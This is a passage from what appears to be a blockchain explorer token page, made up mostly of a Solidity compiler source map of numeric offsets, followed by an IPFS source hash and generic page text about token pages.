0229:995;;;10304:13;;-1:-1:-1;;;;;10304:20:0;;;:13;;:20;10300:913;;-1:-1:-1;;;;;10375:15:0;;;10345:27;10375:15;;;:11;:15;;;;;10413:13;;10375:15;;10413:21;;;:13;;:21;10409:547;;10463:21;;;:26;10459:170;;10564:9;;10542:18;;:31;;:63;;10593:12;10542:63;;;-1:-1:-1;;10542:63:0;10518:87;;10459:170;10409:547;;;-1:-1:-1;;;;;10711:17:0;;10677:31;10711:17;;;:11;:17;;;;;10783:21;;10755:25;;:49;;:79;;-1:-1:-1;10810:21:0;;:23;10755:79;10751:186;;;10888:25;;10864:49;;10751:186;10654:302;10409:547;10326:645;10300:913;;;-1:-1:-1;;;;;11030:17:0;;10996:31;11030:17;;;:11;:17;;;;;11124:10;;11094:25;;:41;;:29;:41::i;:::-;11066:25;;;:69;11182:15;11154:25;;;;:43;10300:913;11236:45;11251:4;11256:2;11259:11;11271:9;11236:14;:45::i;:::-;8263:3026;8189:3100;;;:::o;2151:190::-;2237:7;2273:12;2265:6;;;;2257:29;;;;-1:-1:-1;;;2257:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2297:9:0;2309:5;2313:1;2309;:5;:::i;:::-;2297:17;2151:190;-1:-1:-1;;;;;2151:190:0:o;12449:479::-;5808:6;:13;;-1:-1:-1;;5808:13:0;5817:4;5808:13;;;12551:16:::1;::::0;;12565:1:::1;12551:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12551:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12551:16:0::1;12527:40;;12594:4;12578;12583:1;12578:7;;;;;;;;:::i;:::-;;;;;;:21;-1:-1:-1::0;;;;;12578:21:0::1;;;-1:-1:-1::0;;;;;12578:21:0::1;;;::::0;::::1;12618:15;-1:-1:-1::0;;;;;12618:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12610:4;12615:1;12610:7;;;;;;;;:::i;:::-;;;;;;:30;-1:-1:-1::0;;;;;12610:30:0::1;;;-1:-1:-1::0;;;;;12610:30:0::1;;;::::0;::::1;12651:62;12668:4;12683:15;12701:11;12651:8;:62::i;:::-;12724:196;::::0;-1:-1:-1;;;12724:196:0;;-1:-1:-1;;;;;12724:15:0::1;:66;::::0;::::1;::::0;:196:::1;::::0;12805:11;;12831:1:::1;::::0;12847:4;;12874::::1;::::0;12894:15:::1;::::0;12724:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5844:6:0;:14;;-1:-1:-1;;5844:14:0;;;-1:-1:-1;;;;12449:479:0:o;13107:92::-;13164:27;;5191:42;;13164:27;;;;;13184:6;;13164:27;;;;13184:6;5191:42;13164:27;;;;;;;;;;;;;;;;;;;7197:252;-1:-1:-1;;;;;7306:15:0;;;;;;:9;:15;;;;;;:32;;7326:11;7306:19;:32::i;:::-;-1:-1:-1;;;;;7288:15:0;;;;;;;:9;:15;;;;;;:50;;;;7365:13;;;;;;;:30;;7383:11;7365:17;:30::i;:::-;-1:-1:-1;;;;;7349:13:0;;;;;;;:9;:13;;;;;;;:46;;;;7411:30;;;;;;;;;;7429:11;1361:25:1;;1349:2;1334:18;;1215:177;1359:246:0;1417:7;1441:1;1446;1441:6;1437:47;;-1:-1:-1;1471:1:0;1464:8;;1437:47;1494:9;1506:5;1510:1;1506;:5;:::i;:::-;1494:17;-1:-1:-1;1539:1:0;1530:5;1534:1;1494:17;1530:5;:::i;:::-;:10;1522:56;;;;-1:-1:-1;;;1522:56:0;;12920:2:1;1522:56:0;;;12902:21:1;12959:2;12939:18;;;12932:30;12998:34;12978:18;;;12971:62;-1:-1:-1;;;13049:18:1;;;13042:31;13090:19;;1522:56:0;12718:397:1;1522:56:0;1596:1;1359:246;-1:-1:-1;;;1359:246:0:o;1613:132::-;1671:7;1698:39;1702:1;1705;1698:39;;;;;;;;;;;;;;;;;:3;:39::i;11297:104::-;11354:7;11383:1;11379;:5;11378:15;;11392:1;11378:15;;;-1:-1:-1;11388:1:0;11297:104;-1:-1:-1;11297:104:0:o;1215:136::-;1273:7;1300:43;1304:1;1307;1300:43;;;;;;;;;;;;;;;;;:3;:43::i;11833:288::-;11976:15;11992:47;12010:4;12016:11;12029:9;11992:17;:47::i;:::-;11976:63;-1:-1:-1;12050:63:0;12070:4;12075:2;11976:63;12086:26;:11;12102:9;12086:15;:26::i;:::-;12050:19;:63::i;:::-;11965:156;11833:288;;;;:::o;1964:179::-;2022:7;;2054:5;2058:1;2054;:5;:::i;:::-;2042:17;;2083:1;2078;:6;;2070:46;;;;-1:-1:-1;;;2070:46:0;;13322:2:1;2070:46:0;;;13304:21:1;13361:2;13341:18;;;13334:30;13400:29;13380:18;;;13373:57;13447:18;;2070:46:0;13120:351:1;1753:205:0;1855:7;1890:12;1883:5;1875:28;;;;-1:-1:-1;;;1875:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1914:9:0;1926:5;1930:1;1926;:5;:::i;11409:416::-;11509:7;;-1:-1:-1;;;;;11547:19:0;;5191:42;11547:19;:65;;11601:11;11547:65;;;11569:13;;:30;;11587:11;11569:17;:30::i;:::-;11529:83;-1:-1:-1;11627:11:0;;11623:170;;11700:4;11682:24;;;;:9;:24;;;;;;:39;;11711:9;11682:28;:39::i;:::-;11673:4;11655:24;;;;:9;:24;;;;;;;:66;;;;11741:40;;-1:-1:-1;;;;;11741:40:0;;;;;;;11771:9;1361:25:1;;1349:2;1334:18;;1215:177;11741:40:0;;;;;;;;11623:170;11810:7;11409:416;-1:-1:-1;;;;11409:416:0:o;12129:312::-;-1:-1:-1;;;;;12297:15:0;;;;;;:9;:15;;;;;;:31;;12317:10;12297:19;:31::i;:::-;-1:-1:-1;;;;;12280:15:0;;;;;;;:9;:15;;;;;;:48;;;;12354:13;;;;;;;:32;;12372:13;12354:17;:32::i;:::-;-1:-1:-1;;;;;12339:13:0;;;;;;;:9;:13;;;;;;;:47;;;;12402:31;;;;;;;;;;12419:13;1361:25:1;;1349:2;1334:18;;1215:177;12402:31:0;;;;;;;;12129:312;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5651:251::-;5721:6;5774:2;5762:9;5753:7;5749:23;5745:32;5742:52;;;5790:1;5787;5780:12;5742:52;5822:9;5816:16;5841:31;5866:5;5841:31;:::i;6828:306::-;6916:6;6924;6932;6985:2;6973:9;6964:7;6960:23;6956:32;6953:52;;;7001:1;6998;6991:12;6953:52;7030:9;7024:16;7014:26;;7080:2;7069:9;7065:18;7059:25;7049:35;;7124:2;7113:9;7109:18;7103:25;7093:35;;6828:306;;;;;:::o;7418:277::-;7485:6;7538:2;7526:9;7517:7;7513:23;7509:32;7506:52;;;7554:1;7551;7544:12;7506:52;7586:9;7580:16;7639:5;7632:13;7625:21;7618:5;7615:32;7605:60;;7661:1;7658;7651:12;10489:125;10554:9;;;10575:10;;;10572:36;;;10588:18;;:::i;10974:135::-;11013:3;11034:17;;;11031:43;;11054:18;;:::i;:::-;-1:-1:-1;11101:1:1;11090:13;;10974:135::o;11114:128::-;11181:9;;;11202:11;;;11199:37;;;11216:18;;:::i;11379:127::-;11440:10;11435:3;11431:20;11428:1;11421:31;11471:4;11468:1;11461:15;11495:4;11492:1;11485:15;11511:980;11773:4;11821:3;11810:9;11806:19;11852:6;11841:9;11834:25;11878:2;11916:6;11911:2;11900:9;11896:18;11889:34;11959:3;11954:2;11943:9;11939:18;11932:31;11983:6;12018;12012:13;12049:6;12041;12034:22;12087:3;12076:9;12072:19;12065:26;;12126:2;12118:6;12114:15;12100:29;;12147:1;12157:195;12171:6;12168:1;12165:13;12157:195;;;12236:13;;-1:-1:-1;;;;;12232:39:1;12220:52;;12327:15;;;;12292:12;;;;12268:1;12186:9;12157:195;;;-1:-1:-1;;;;;;;12408:32:1;;;;12403:2;12388:18;;12381:60;-1:-1:-1;;;12472:3:1;12457:19;12450:35;12369:3;11511:980;-1:-1:-1;;;11511:980:1:o;12496:217::-;12536:1;12562;12552:132;;12606:10;12601:3;12597:20;12594:1;12587:31;12641:4;12638:1;12631:15;12669:4;12666:1;12659:15;12552:132;-1:-1:-1;12698:9:1;;12496:217::o

Swarm Source

ipfs://982e2db258d386313d78ea9b2574a8febae738866372b3d39d38b11fdf8ca1e9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.